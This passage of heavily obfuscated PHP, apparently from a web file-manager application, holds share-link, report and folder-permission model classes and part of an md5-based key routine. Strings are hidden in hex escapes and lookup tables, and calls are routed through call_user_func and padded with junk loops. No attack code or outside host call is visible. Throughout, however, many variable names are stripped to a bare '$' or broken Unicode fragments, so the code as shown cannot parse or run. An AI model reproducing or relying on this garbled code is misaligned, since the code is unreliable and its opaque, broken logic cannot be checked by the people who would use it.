break; } $ڶ = ($ - 1) * ($ҧ - 1); $« = intval(($ + $ҧ) / 2); $ɢ = $ƣ[827]; if (!$ɢ) { return; } while (1) { $ = $«; $̿ = $ڶ; $Ң = $ƣ[828]; while (strlen($Ң) < $ƣ[66]) { if (!$Ң) { break; } $Ң++; } while ($̿ % $ != 0) { $挼 = $̿; $̿ = $; $ = $挼 % $; $ڜƎ = $ƣ[829]; while ($ڜƎ < $ƣ[697]) { if ($ڜƎ >= 0) { break; } $ڜƎ++; } } if ($ == 1) { break; } else { $«++; } } $ = 2; for ($ = 0; $ < $ڶ * 10; $++) { if (($ڶ * $ + 1) % $« == 0) { $ = intval(($ڶ * $ + 1) / $«); break; } } $ = md5($ȣ[304] . ($ + $ҧ) . $ȣ[305] . $« . $ȣ[305] . $ . $ȣ[306]); $٦ = $ƣ[830]; while (strlen($٦) < $ƣ[693]) { if (!$٦) { break; } $٦++; } $ = $this->uwada3c9af0f($ڟ[0], $); return $; } public function sqxif8e8bfb7() { $Ά =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $â = array(); $ޝ = $Ά[831]; $Ќ = 1; while ($Ќ <= (int) sqrt($)) { $݀ = $Ќ; $В = $Ά[832]; if (!$В) { return; } while (!0) { $݀++; if ($݀ <= 2) { $Ќ = $݀; break; } else { if ($݀ < 2) { continue; } } $ٮ = !0; for ($܍ğ = 2; $܍ğ <= sqrt($݀); $܍ğ++) { if ($݀ % $܍ğ == 0) { $ٮ = !1; } } if ($ٮ) { $Ќ = $݀; break; } } $â[] = $Ќ; } $֩ = 2; $猗 = $Ά[833]; while ($猗 < $Ά[693]) { if ($猗 >= 0) { break; } $猗++; } for ($݀ = $; $݀ > 1; $݀--) { $ٮ = !0; foreach ($â as $ǣ) { if ($݀ % $ǣ == 0) { $ٮ = !1; break; } } if ($ٮ) { $֩ = $݀; break; } } return $֩; $ʴ¡ = $Ά[834]; if (!$ʴ¡) { return; } } public function vglc9d6a43bb($ۈ, $) { $ =& $_SERVER[]; $ =& $_SERVER[]; return call_user_func(array($[8], $[308]), $ۈ, $); $Ӓ = $[835]; while (strlen($Ӓ) < $[693]) { if (!$Ӓ) { break; } $Ӓ++; } } public function nqtc058e3ce5($, $൙) { $ߑ =& $_SERVER[]; return call_user_func(array($ߑ[309], $ߑ[310]), $, $൙); $ŕ = $_SERVER[][836]; if (!$ŕ) { return; } } public function uwada3c9af0f($, $槌) { $ =& $_SERVER[]; return call_user_func(array($[309], $[311]), $, $槌); } } goto aܪ; d땬: class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\162\x65"; protected $dataAuto = array(array("\x6d\157\144\x69\146\171\x54\x69\x6d\145", "\x74\x69\x6d\145", "\x69\156\163\145\162\x74\54\165\160\144\x61\164\x65", "\146\165\156\x63\x74\151\x6f\x6e"), array("\x63\x72\x65\141\x74\x65\x54\151\x6d\x65", "\x74\x69\x6d\145", "\151\156\x73\145\x72\x74", "\146\x75\x6e\143\164\x69\x6f\156"), array("\x6f\x70\164\151\x6f\x6e\x73", '', "\x69\156\x73\145\162\164\x2c\165\x70\144\x61\x74\x65\x2c\x73\145\x6c\x65\x63\164", "\x6a\x73\x6f\x6e")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $Ď = isset($[0]) ? $[0] : !1; return array($[2121] => array(USER_ID, $[2122]), $[2062] => array($Ď, $[2123])); } protected function listSimple() { $Ⱥ = array($_SERVER[][1779] => USER_ID); $ = $this->field($this->fieldList)->where($Ⱥ)->select(); return $ ? $ : array(); } protected function getInfo($ɴ, $р = false) { $ܱ =& $_SERVER[]; if ($р) { return $this->_getShareInfo(array($ܱ[674] => $ɴ)); } $ = $this->cacheFunctionGet($ܱ[2064], $ɴ); return $; } public function getInfoByHash($↨) { return $this->_getShareInfo(array($_SERVER[][2124] => $↨)); } public function getInfoByPath($Ա) { $ =& $_SERVER[]; $󎋨 = array($[1779] => USER_ID, $[203] => $Ա); return $this->_getShareInfo($󎋨); } public function getInfoBySourcePath($Ӯ) { $ =& $_SERVER[]; $ = array($[1779] => USER_ID, $[1268] => $Ӯ); return $this->_getShareInfo($); } private function _getShareInfo($Á) { $ =& $_SERVER[]; $ؤަ = $this->where($Á)->find(); if (!$ؤަ) { return !1; } $Á = array($[674] => $ؤަ[$[674]]); $ = $[2125]; $ = Model($[675])->order($[484])->field($)->where($Á)->select(); if ($ؤަ[$[203]] == $[238]) { $ؤަ[$[100]] = IO::info($ؤަ[$[1268]]); } else { $ؤަ[$[100]] = Model($[1429])->pathInfo($ؤަ[$[203]]); } $ؤަ[$[2126]] = $; return $ؤަ; } protected function getInfoAuth($˄) { $̚ =& $_SERVER[]; $Γ = $this->getInfo($˄); if ($Γ[$̚[1779]] == USER_ID) { $Γ[$̚[496]] = $Γ[$̚[100]][$̚[496]]; } else { $Γ[$̚[496]] = Model($̚[576])->authMake($Γ[$̚[2126]]); } return $Γ; } protected function listData($ƒ = null, $ܳ = 300) { $ =& $_SERVER[]; $ = array(array($[571] => array($[1101], 0), $[672] => array($[1101], 0), $[2127] => $[2080])); if ($ƒ == $[2128]) { $ = array($[571] => 1); } else { if ($ƒ == $[1253]) { $ = array($[672] => 1); } } $[$[1779]] = USER_ID; $ = $this->where($)->selectPage($ܳ); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2129])->userGroupParents(USER_ID); $ʰ = array($[657] => SourceModel::TYPE_USER, $[578] => USER_ID); if ($) { $ʰ = array(array($[657] => SourceModel::TYPE_USER, $[578] => USER_ID), array($[657] => SourceModel::TYPE_GROUP, $[578] => array($[7], $)), $[2127] => $[2080]); } $֊ = Model($[675])->where($ʰ)->selectPage($); $Нܧ = array_to_keyvalue_group($֊[$[454]], $[674]); if (!$Нܧ) { return $֊; } $ = $[2130]; $ʰ = array($[674] => array($[501], array_keys($Нܧ)), $[1779] => array($[1103], $[238])); $߮ = $this->field($)->where($ʰ)->select(); foreach ($߮ as $ڌ => &$ݽ) { $ݽ[$[2126]] = $Нܧ[$ݽ[$[674]]]; } unset($ݽ); $˷ﺝ = array($[2131] => $߮, $[2132] => $֊[$[451]]); return $˷ﺝ; } protected function shareAdd($ᥩ, $) { $ =& $_SERVER[]; $ = $this->_addShareData($ᥩ, $); if (!empty($[$[2133]])) { $this->_shareAuthSet($, $[$[2133]]); } $this->shareEventAdd($ᥩ, $, $[2134]); return $; } protected function shareAddSystem($, $) { $۪ =& $_SERVER[]; $ŷ = $this->_addShareData($, $, $۪[201]); $this->_shareAuthSet($ŷ, $[$۪[2133]]); return $ŷ; } private function shareEventAdd($Ĵ, $ع, $蒿 = "\x61\x64\x64") { $㍁ =& $_SERVER[]; if (!$Ĵ || $Ĵ == $㍁[238]) { return; } if ($蒿 == $㍁[2134]) { if ($ع[$㍁[571]] == $㍁[101]) { Model($㍁[642])->eventShare($Ĵ, $㍁[2135]); } if ($ع[$㍁[672]] == $㍁[101]) { Model($㍁[642])->eventShare($Ĵ, $㍁[2136]); } return; } $ = $this->getInfoByPath($Ĵ); $„ = $㍁[2137]; if ($[$㍁[571]] == $㍁[238] && $ع[$㍁[571]] == $㍁[101]) { $„ = $㍁[2135]; } if ($[$㍁[571]] == $㍁[101] && $ع[$㍁[571]] == $㍁[238]) { $„ = $㍁[2138]; } if ($[$㍁[672]] == $㍁[238] && $ع[$㍁[672]] == $㍁[101]) { $„ = $㍁[2136]; } if ($[$㍁[672]] == $㍁[101] && $ع[$㍁[672]] == $㍁[238]) { $„ = $㍁[2139]; } Model($㍁[642])->eventShare($Ĵ, $„); return; } private function _addShareData($, $峅빽 = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $[201] ? 0 : USER_ID; $䴼ɿ = array($[500] => $, $[1770] => $); if ($ == 0) { $䴼ɿ = array($[2140] => $峅빽[$[1268]], $[1770] => $); } if ($Ȧ = $this->where($䴼ɿ)->find()) { return $Ȧ[$[674]]; } if ($ == 0) { $ˑ = array($[32] => get_path_this($峅빽[$[97]])); } else { $ˑ = Model($[914])->sourceInfo($); if (!$ˑ) { return !1; } } if (!$峅빽[$[1668]]) { $峅빽[$[1668]] = $ˑ[$[32]]; } $ýѠ = array($[1770] => $, $[500] => $, $[1668] => $[12], $[571] => 0, $[672] => 0, $[1268] => $[12], $[392] => $[12], $[978] => $[12], $[2141] => 0, $[2142] => 0, $[850] => 0, $[2143] => $[12], $[2124] => $[12]); $õ = explode($[50], $[2144]); foreach ($õ as $̅) { if (!isset($峅빽[$̅])) { continue; } $ýѠ[$̅] = $峅빽[$̅]; } $܀ = $this->add($ýѠ); $󴀬 = array($[2124] => short_id($܀)); $this->where(array($[2145] => $܀))->save($󴀬); return $܀; } private function _shareAuthSet($ﴮ, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($[2090]); $->where(array($[674] => $ﴮ))->delete(); $׌ = array(); foreach ($ as $Î) { $ = SourceModel::TYPE_USER; if ($Î[$[200]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $܀ = array($[674] => $ﴮ, $[200] => $, $[578] => intval($Î[$[578]]), $[2086] => 0, $[2146] => -1); if ($Î[$[2086]]) { $܀[$[2086]] = $Î[$[2086]]; } else { if ($Î[$[2146]]) { $܀[$[2146]] = $Î[$[2146]]; } } $׌[] = $܀; } return $->addAll($׌, array(), !0); } public function numViewAdd($׸) { $ =& $_SERVER[]; $ = array($[2145] => $׸); $this->where($)->setAdd($[2141]); } public function numDownloadAdd($ٹ) { $α =& $_SERVER[]; $ӷ = array($α[2145] => $ٹ); $this->where($ӷ)->setAdd($α[2142]); } protected function shareEdit($ʝ, $Ѧ͙) { $Ͷ =& $_SERVER[]; $ = $this->getInfo($ʝ); if (!$) { return !1; } $this->_checkLinkShare($Ѧ͙, $); $؍ = array(); $ȯ = explode($Ͷ[50], $Ͷ[2147]); foreach ($ȯ as $) { if (!array_key_exists($, $Ѧ͙)) { continue; } $؍[$] = $Ѧ͙[$]; } $this->shareEventAdd($[$Ͷ[203]], $Ѧ͙, $Ͷ[1947]); $this->where(array($Ͷ[2145] => $ʝ))->save($؍); if (isset($Ѧ͙[$Ͷ[2133]])) { $this->_shareAuthSet($ʝ, $Ѧ͙[$Ͷ[2133]]); } return !0; } private function _checkLinkShare($ϊ, $) { $ȸ =& $_SERVER[]; if ($ϊ[$ȸ[571]] != $ȸ[101]) { return; } $ = $[$ȸ[100]][$ȸ[203]]; if ($[$ȸ[100]][$ȸ[33]] != $ȸ[240]) { $Տ = $this->_folderReport($); if (!$Տ) { return; } show_json(LNG($ȸ[2148]) . $ȸ[2149] . $Տ, !1); } $ܫ· = Model($ȸ[914])->fileInfoGet($[$ȸ[100]][$ȸ[203]]); if (!$ܫ·) { return; } $髄 = $this->shareFileMeta($ܫ·[$ȸ[550]]); if (isset($髄[$ȸ[459]]) && $髄[$ȸ[459]] == $ȸ[101]) { show_json(LNG($ȸ[2150]), !1); } } private function _folderReport($) { $Ԙ =& $_SERVER[]; $ߝɟ = array($Ԙ[550] => array($Ԙ[1101], 0), $Ԙ[839] => 3); $Œǖ = Model($Ԙ[2151])->where($ߝɟ)->field($Ԙ[550])->select(); if (!$Œǖ) { return !1; } $Œǖ = array_to_keyvalue($Œǖ, $Ԙ[12], $Ԙ[550]); $װ = $Ԙ[50] . $ . $Ԙ[50]; $ߝɟ = array($Ԙ[550] => array($Ԙ[7], $Œǖ), $Ԙ[593] => array($Ԙ[468], "\45{$װ}\x25"), $Ԙ[514] => 0); $ = Model($Ԙ[914])->where($ߝɟ)->field($Ԙ[2152])->find(); if (!$) { return !1; } $ԁ = substr($[$Ԙ[593]], strpos($[$Ԙ[593]], $װ)); $ߝɟ = array($Ԙ[203] => array($Ԙ[7], trim($ԁ, $Ԙ[50]))); $˭բ = Model($Ԙ[914])->where($ߝɟ)->field($Ԙ[32])->select(); $֫ = array_to_keyvalue($˭բ, $Ԙ[12], $Ԙ[32]); $֫[] = $[$Ԙ[32]]; return implode($Ԙ[8], $֫); } protected function remove($) { $Ĵ =& $_SERVER[]; $ = is_array($) ? $ : array($); for ($ = 0; $ < count($); $++) { $Ɩ = $this->getInfo($[$]); if ($Ɩ[$Ĵ[672]] == $Ĵ[101]) { Model($Ĵ[642])->eventShare($Ɩ[$Ĵ[203]], $Ĵ[2139]); } if ($Ɩ[$Ĵ[571]] == $Ĵ[101]) { Model($Ĵ[642])->eventShare($Ɩ[$Ĵ[203]], $Ĵ[2138]); } } if (is_array($)) { $ = array($Ĵ[7], $); } $۬ɻ = array($Ĵ[674] => $); $ſ = $this->where($۬ɻ)->delete(); if ($ſ) { Model($Ĵ[675])->where(array($Ĵ[674] => $))->delete(); } return $ſ; } protected function removeBySource($煌) { $ʜ =& $_SERVER[]; $ = array($ʜ[500] => array($ʜ[501], $煌)); $ = $this->field($ʜ[674])->where($)->select(); $ = array_to_keyvalue($, $ʜ[12], $ʜ[674]); if (!$) { return; } $ = array($ʜ[2145] => array($ʜ[501], $)); $this->where($)->delete(); Model($ʜ[675])->where($)->delete(); } public function listAll($Θ) { $ =& $_SERVER[]; $ = array(); if ($Θ[$[1779]]) { $[$[1779]] = $Θ[$[1779]]; } if ($Θ[$[849]]) { $Ȇ = $Θ[$[850]] ? $Θ[$[850]] : strtotime(date($[2153])); $[$[241]] = array($[418], array($Θ[$[849]], $Ȇ)); } if ($Θ[$[33]]) { $[$Θ[$[33]]] = 1; } else { $[] = array($[571] => array($[1101], 0), $[672] => array($[1101], 0), $[2127] => $[2080]); } if ($Θ[$[2076]]) { $[] = array($[2124] => $Θ[$[2076]], $[1668] => array($[468], "\45{$Θ[$[2076]]}\x25"), $[2127] => $[2080]); } $݅ = $this->_makeOrder()->where($)->selectPage(20); if (empty($݅[$[454]])) { return array(); } $this->_listDataApply($݅[$[454]]); return $݅; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ꑩ =& $_SERVER[]; $ = array_to_keyvalue($, $ꑩ[12], $ꑩ[1779]); $ߪ = Model($ꑩ[607])->userListInfo(array_unique($)); $ = array_to_keyvalue($, $ꑩ[12], $ꑩ[203]); $ա = Model($ꑩ[914])->sourceListInfo($, !0); foreach ($ as $Թ => &$) { $، = $[$ꑩ[1779]]; $[$ꑩ[2154]] = $ߪ[$،] ? $ߪ[$،] : !1; $Μҫ = $[$ꑩ[203]]; $[$ꑩ[100]] = $ա[$Μҫ] ? $ա[$Μҫ] : !1; if ($[$ꑩ[100]][$ꑩ[514]] == $ꑩ[101]) { unset($[$Թ]); } if ($[$ꑩ[100]] != $ꑩ[238] && !$[$ꑩ[100]]) { unset($[$Թ]); } } unset($); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $Х؎ = array($[241], $[850], $[2141], $[2142]); $ٸ = array($[532] => $[533], $[534] => $[535]); $ʗӆ = Input::get($[539], $[7], $[506], $Х؎); $䳒 = Input::get($[540], $[7], $[2155], array($[2073], $[534])); $䳒 = $ٸ[$䳒]; $ = $ . "{$ʗӆ}\x20{$䳒}"; return $this->order($); } public function reportAdd($ܱ) { $ =& $_SERVER[]; $ = array($[674] => $ܱ[$[674]], $[1779] => USER_ID); if (Model($[2151])->where($)->find()) { return !1; } $ߩ = array($[674] => $ܱ[$[674]], $[1668] => $ܱ[$[1668]], $[203] => $ܱ[$[203]], $[550] => $ܱ[$[550]], $[1779] => USER_ID, $[33] => $ܱ[$[33]], $[535] => $ܱ[$[535]]); return Model($[2151])->add($ߩ); } public function reportList($) { $ư =& $_SERVER[]; $ = array(); if ($[$ư[849]]) { $у = $[$ư[850]] ? $[$ư[850]] : strtotime(date($ư[2153])); $[$ư[241]] = array($ư[418], array($[$ư[849]], $у)); } if (isset($[$ư[33]]) && in_array($[$ư[33]], array($ư[101], $ư[519], $ư[2156], $ư[2157], $ư[2158]))) { $[$ư[33]] = $[$ư[33]]; } if (isset($[$ư[839]]) && in_array($[$ư[839]], array($ư[238], $ư[101], $ư[519], $ư[2156]))) { $[$ư[839]] = $[$ư[839]]; } $ = Input::get($ư[540], $ư[7], $ư[2155], array($ư[2073], $ư[534])); $ = array($ư[532] => $ư[533], $ư[534] => $ư[535]); $ = $ư[2159] . $[$]; $ = Model($ư[2151])->where($)->order($)->selectPage(20); if (empty($[$ư[454]])) { return array(); } $ = array_to_keyvalue_group($[$ư[454]], $ư[839], $ư[674]); if (!empty($[0])) { $ = $[0]; $ = array($ư[674] => array($ư[7], $)); $ٻ = $this->where($)->field($ư[674])->select(); $ٻ = array_to_keyvalue($ٻ, $ư[12], $ư[674]); $腰 = array_diff($, $ٻ); if (!empty($腰)) { foreach ($[$ư[454]] as $ => $ۡ) { if (in_array($ۡ[$ư[674]], $腰)) { unset($[$ư[454]][$]); } } } } $this->_listDataApply($[$ư[454]]); return $; } public function reportStatus($岔) { $ =& $_SERVER[]; $ғǧ = array($[484] => $岔[$[484]]); $ = Model($[2151])->where($ғǧ)->field($[2160])->find(); if (!$) { return !1; } $ = array($[839] => $岔[$[839]]); if ($岔[$[839]] == $[2156] && $[$[839]] == $[2156]) { $[$[839]] = 0; } $Ƴ = Model($[2151])->where($ғǧ)->save($); if ($岔[$[839]] == $[519]) { if ($[$[550]] != $[238] && $this->shareFileMeta($[$[550]])) { $this->shareFileMeta($[$[550]], 0); } $this->remove($[$[674]]); return !0; } if ($Ƴ && $岔[$[839]] == $[2156]) { $ = $[$[839]] == $[2156] ? 1 : 0; $this->shareFileMeta($[$[550]], $); $this->removeByFile($[$[550]]); } return $Ƴ; } private function removeByFile($ن) { $ݖ =& $_SERVER[]; $ּ = Model($ݖ[914])->where(array($ݖ[550] => $ن))->field($ݖ[203])->select(); $ = array_to_keyvalue($ּ, $ݖ[12], $ݖ[203]); $ = array($ݖ[203] => array($ݖ[7], $), $ݖ[571] => 1); $ּ = $this->where($)->field($ݖ[674])->select(); if (empty($ּ)) { return; } $Ɛ = array_to_keyvalue($ּ, $ݖ[12], $ݖ[674]); $this->remove($Ɛ); } private function shareFileMeta($, $ = null) { $ѿ =& $_SERVER[]; $о = array($ѿ[550] => $, $ѿ[107] => $ѿ[2161]); if (is_null($)) { return Model($ѿ[2162])->where($о)->find(); } $о[$ѿ[459]] = $; Model($ѿ[2162])->add($о, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\157\165\162\x63\145\x5f\x61\165\164\150"; public function getAuth($) { $ =& $_SERVER[]; $ڬ = $this->sourceAuthSelect($); $묽 = array(); $叜 = array(); $Қ = 2 << 25; foreach ($ڬ as $܈) { $ = Model($[580])->listData($܈[$[2086]]); if (!$) { continue; } $묽[] = $܈; $ = 0; if ($܈[$[200]] == SourceModel::TYPE_GROUP) { $ = $Қ * 2; } if ($܈[$[200]] == SourceModel::TYPE_USER) { $ = $Қ; } if ($܈[$[200]] == SourceModel::TYPE_USER && $܈[$[578]] == $[238]) { $ = 0; } $叜[] = $[$[496]] + $; } array_multisort($叜, SORT_DESC, $묽); return $묽; } public function sourceAuthSelect($Ч) { $ =& $_SERVER[]; static $ʬ = array(); $Ѡ = is_array($Ч) ? !1 : !0; if ($Ѡ) { $Ч = array($Ч); } $鎟 = array(); foreach ($Ч as $) { if (isset($ʬ[$])) { $鎟[$] = $ʬ[$]; } } if (count($鎟) == count($Ч)) { return $Ѡ ? $鎟[$Ч[0]] : $鎟; } $䋃 = $[2163]; $ťLj = array($[203] => array($[7], $Ч)); $ = $this->field($䋃)->order($[484])->where($ťLj)->select(); $ = array_to_keyvalue_group($, $[203]); foreach ($Ч as $) { $ʬ[$] = $[$] ? $[$] : array(); } if ($Ѡ) { return $; } return $; } public function setAuth($ҝ, $) { $ =& $_SERVER[]; $ = Model($[1429])->sourceInfo($ҝ); if (!$) { return !1; } if ($[$[200]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[578]]; if ($ != $) { $ԘƟ = array($[1978] => $); $ = Model($[2072])->field($[1779])->where($ԘƟ)->select(); $ = array_to_keyvalue($, $[12], $[1779]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $㴑 = array(); foreach ($ as $) { if (!in_array($[$[200]], $)) { show_json(LNG($[2164]), !1); } if ($ != $) { if ($[$[200]] == SourceModel::TYPE_GROUP) { } if ($[$[578]] != 0 && !in_array($[$[578]], $)) { } } if ($[$[578]] == 0) { $[$[200]] = SourceModel::TYPE_USER; } $㴑[] = array($[203] => $ҝ, $[200] => intval($[$[200]]), $[578] => intval($[$[578]]), $[2086] => intval($[$[2086]]) ? intval($[$[2086]]) : 0, $[2146] => intval($[$[2146]]) ? intval($[$[2146]]) : -1); } $this->where(array($[500] => $ҝ))->delete(); $this->addAll($㴑); return !0; } public function authClear($) { $ͷ =& $_SERVER[]; $ڨ = Model($ͷ[1429])->sourceInfo($); $ŝ = array($); if ($ڨ[$ͷ[494]] == $ͷ[101]) { $⠊µ = array($ͷ[661] => array($ͷ[621], $ڨ[$ͷ[593]] . $ . $ͷ[622])); $ŝ = Model($ͷ[1429])->field($ͷ[500])->where($⠊µ)->getField($ͷ[203], !0); $ŝ[] = $; } $this->where(array($ͷ[500] => array($ͷ[501], $ŝ)))->delete(); return !0; } public function getAllChildren($ꆰ) { $ =& $_SERVER[]; $ = Model($[1429])->sourceInfo($ꆰ); if ($[$[494]] != $[101]) { return $this->sourceListAuth(array($ꆰ)); } if ($[$[200]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ܹ = array($ꆰ); if ($[$[202]] == $[238] && $[$[578]] != $) { $ܹ = $this->groupChidldAllRootSource($[$[578]]); } $ = $this->field($[203])->group($[203])->select(); $ = array_to_keyvalue($, $[12], $[203]); if (!$) { return array(); } $ = $[2165]; $󫮽 = array($[203] => array($[7], $), $[514] => $[238]); $ٕ = Model($[914])->field($)->where($󫮽)->select(); $ߔ = array($ꆰ); foreach ($ٕ as $⢎) { foreach ($ܹ as $ԝ) { $͵ = $[50] . $ԝ . $[50]; $ϕ = $⢎[$[593]] . $⢎[$[203]] . $[50]; if (strstr($ϕ, $͵)) { $ߔ[] = $⢎[$[203]]; break; } } } return $this->sourceListAuth($ߔ); } private function sourceListAuth($) { $€ =& $_SERVER[]; $鍬 = Model($€[1429])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($鍬 as $ҝ) { unset($ҝ[$€[538]]); unset($ҝ[$€[536]]); unset($ҝ[$€[496]]); unset($ҝ[$€[100]]); $Ƒ = $[$ҝ[$€[203]]]; if (!$Ƒ) { continue; } $ҝ[$€[2166]] = $this->authTargetInfo($Ƒ); $ҝ[$€[591]] = rtrim($ҝ[$€[597]], $€[8]) . $€[8] . ltrim($ҝ[$€[591]], $€[8]); $[] = $ҝ; $ = count(explode($€[8], trim($ҝ[$€[591]], $€[8]))); $[] = $ + ($ҝ[$€[33]] == $€[88] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($ə) { $ =& $_SERVER[]; $ = Model($[2167])->groupChildrenAll($ə); $ = array($[202] => 0, $[578] => array($[7], $), $[200] => SourceModel::TYPE_GROUP); $̟ = Model($[914])->field($[203])->where($)->select(); $̟ = array_to_keyvalue($̟, $[12], $[203]); return $̟; } private function authTargetInfo($Դ) { $˃ =& $_SERVER[]; $ȓ = array(); $݂ͦ = array(); $홛 = 2 << 25; foreach ($Դ as $즹) { $͜ = Model($˃[580])->listData($즹[$˃[2086]]); if (!$͜) { continue; } if ($즹[$˃[200]] == SourceModel::TYPE_USER) { $܅ = Model($˃[586])->getInfoSimpleOuter($즹[$˃[578]]); if ($܅[$˃[1779]] == $˃[1284]) { continue; } if ($܅[$˃[1779]] == $˃[238]) { $܅[$˃[32]] = LNG($˃[2168]); } } else { $܅ = Model($˃[594])->getInfoSimple($즹[$˃[578]]); } if (!$܅) { continue; } $܅[$˃[549]] = $͜; $ȓ[] = $܅; $ = 0; if ($즹[$˃[200]] == SourceModel::TYPE_GROUP) { $ = $홛 * 2; } if ($즹[$˃[200]] == SourceModel::TYPE_USER) { $ = $홛; } if ($즹[$˃[200]] == SourceModel::TYPE_USER && $즹[$˃[578]] == $˃[238]) { $ = 0; } $݂ͦ[] = $͜[$˃[496]] + $; } array_multisort($݂ͦ, SORT_DESC, $ȓ); return $ȓ; } public function getAllChildrenByUser($紎, $栨) { $Ӏ =& $_SERVER[]; $ = Model($Ӏ[607])->getInfo($栨); if (!$栨 || !$紎 || !$) { return array(); } $ = Model($Ӏ[1429])->sourceInfo($紎); $ = array(); $ = 1; if ($[$Ӏ[202]] == $Ӏ[238] && $[$Ӏ[578]] != $ && $this->groupContainUser($[$Ӏ[578]], $栨)) { foreach ($[$Ӏ[2169]] as $) { $ߧ = Model($Ӏ[594])->getInfo($[$Ӏ[1978]]); $ = Model($Ӏ[607])->getInfoSimpleOuter($栨); $[$Ӏ[549]] = $[$Ӏ[496]]; if (Model($Ӏ[580])->authCheckAction($[$Ӏ[496]][$Ӏ[496]], $Ӏ[1999])) { continue; } $Դ = array($Ӏ[32] => $Ӏ[1304] . $ߧ[$Ӏ[32]], $Ӏ[203] => $ߧ[$Ӏ[100]][$Ӏ[203]], $Ӏ[97] => KodIO::make($ߧ[$Ӏ[100]][$Ӏ[203]]), $Ӏ[202] => $Ӏ[238], $Ӏ[200] => $Ӏ[587], $Ӏ[33] => $Ӏ[625], $Ӏ[591] => $ߧ[$Ӏ[598]], $Ӏ[1978] => $ߧ[$Ӏ[1978]], $Ӏ[595] => $ߧ[$Ӏ[202]], $Ӏ[2166] => array($)); $[$Դ[$Ӏ[203]]] = $Դ; } } $஻ = array(); $Ԃ = $this->getAllChildren($紎); foreach ($Ԃ as $ݕ¯) { $Ƿ͡ = !1; foreach ($ݕ¯[$Ӏ[2166]] as $΃) { if ($΃[$Ӏ[1779]]) { if ($΃[$Ӏ[1779]] == $栨) { $Ƿ͡ = !0; break; } } if ($΃[$Ӏ[1978]]) { if ($this->groupContainUser($΃[$Ӏ[1978]], $栨)) { $Ƿ͡ = !0; break; } } } if ($Ƿ͡) { $஻[] = $ݕ¯; } $ʨ = $ݕ¯[$Ӏ[203]]; if (isset($[$ʨ])) { $ݕ¯[$Ӏ[2166]][] = $[$ʨ][0]; $[$ʨ] = !1; } } $ = array_filter(array_values($)); $஻ = array_merge($, $஻); return $஻; } public function setAllChildrenByUser($, $, $ک) { $ =& $_SERVER[]; $ƣ = $this->getAllChildrenByUser($, $); if (!$ک || !$ƣ) { return !1; } foreach ($ƣ as $ꔛ) { $ = array(); foreach ($ꔛ[$[2166]] as $) { $ӊ = $[$[549]]; $‡ = $[$[1779]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ή = $[$[1779]] ? $[$[1779]] : $[$[1978]]; if ($[$[1779]] && $[$[1779]] == $) { continue; } $[] = array($[203] => $ꔛ[$[203]], $[200] => $‡, $[578] => intval($ή), $[2086] => isset($ӊ[$[484]]) ? intval($ӊ[$[484]]) : 0, $[2146] => isset($ӊ[$[2146]]) ? intval($ӊ[$[2146]]) : -1); } $[] = array($[203] => $ꔛ[$[203]], $[200] => SourceModel::TYPE_USER, $[578] => intval($), $[2086] => intval($ک), $[2146] => -1); $this->where(array($[500] => $ꔛ[$[203]]))->delete(); $this->addAll($); } return !0; } public function get($) { $۹ = $this->getSourceList(array($), !0); return $۹[0]; } public function getSourceList($, $چ = false, $ = false) { $񈏹 =& $_SERVER[]; if (!$) { return array(); } $ʰ = Model($񈏹[1429]); if (!$چ && count($) == 1) { $چ = array(); $چ[$[0]] = $ʰ->sourceInfo($[0]); } if (!$چ) { $ = array($񈏹[500] => array($񈏹[501], $)); $چ = $ʰ->field($񈏹[2170])->where($)->select(); $چ = array_to_keyvalue($چ, $񈏹[203]); } $槩߹ = $; foreach ($چ as $㷫 => $) { $ = $ʰ->parentLevelArray($[$񈏹[593]]); $槩߹ = array_merge($槩߹, array($㷫), array_reverse($)); } $槩߹ = array_values(array_unique($槩߹)); if (!$槩߹) { return array(); } $ĭ = $this->sourceAuthSelect($槩߹); $Ž = array(); foreach ($槩߹ as $Ђ) { if (isset($ĭ[$Ђ])) { $Ž[$Ђ] = $ĭ[$Ђ]; } } $ڳ = $this->userIsRoot($); $ = AuthModel::authAll(); $ی = array($񈏹[497] => $, $񈏹[2171] => array($񈏹[502] => 0, $񈏹[1984] => $, $񈏹[503] => LNG($񈏹[2172]), $񈏹[2001] => $񈏹[2173])); $ݥС = array(); foreach ($چ as $Ђ => $) { if ($ڳ && $GLOBALS[$񈏹[6]][$񈏹[1997]]) { $ݥС[$Ђ] = $ی; continue; } $ݥС[$Ђ] = $this->makeSourceAuth($, $Ž, $); } return $ݥС; } public function authDeepCheck($ፗ岱, $ = false) { $̾ =& $_SERVER[]; $ = $ ? $ : USER_ID; $â = $this->makeAuthDeep($); if (!in_array($ፗ岱, $â[$̾[2174]])) { return !1; } $䄳 = array(); foreach ($â[$̾[2175]] as $Ɖإ => $Т) { if (!in_array($ፗ岱, $Т)) { continue; } $䄳[] = $Ɖإ; } if (!$䄳) { return !1; } $ = $䄳 ? $䄳[0] : $ፗ岱; return array($̾[497] => -1, $̾[549] => array($̾[502] => $̾[1284], $̾[1984] => $̾[238], $̾[503] => LNG($̾[2176]), $̾[2001] => $̾[2177]), $̾[2178] => LNG($̾[2179]), $̾[2180] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($酽 = false) { $ =& $_SERVER[]; static $꧋ = array(); $酽 = $酽 ? $酽 : USER_ID; if (isset($꧋[$酽])) { return $꧋[$酽]; } $͂ = Model($[2181])->listData(); $ǥ = array(); foreach ($͂ as $ɓ) { if ($ɓ[$[496]] == 0 && $ɓ[$[2000]] == $[101]) { $ǥ[] = 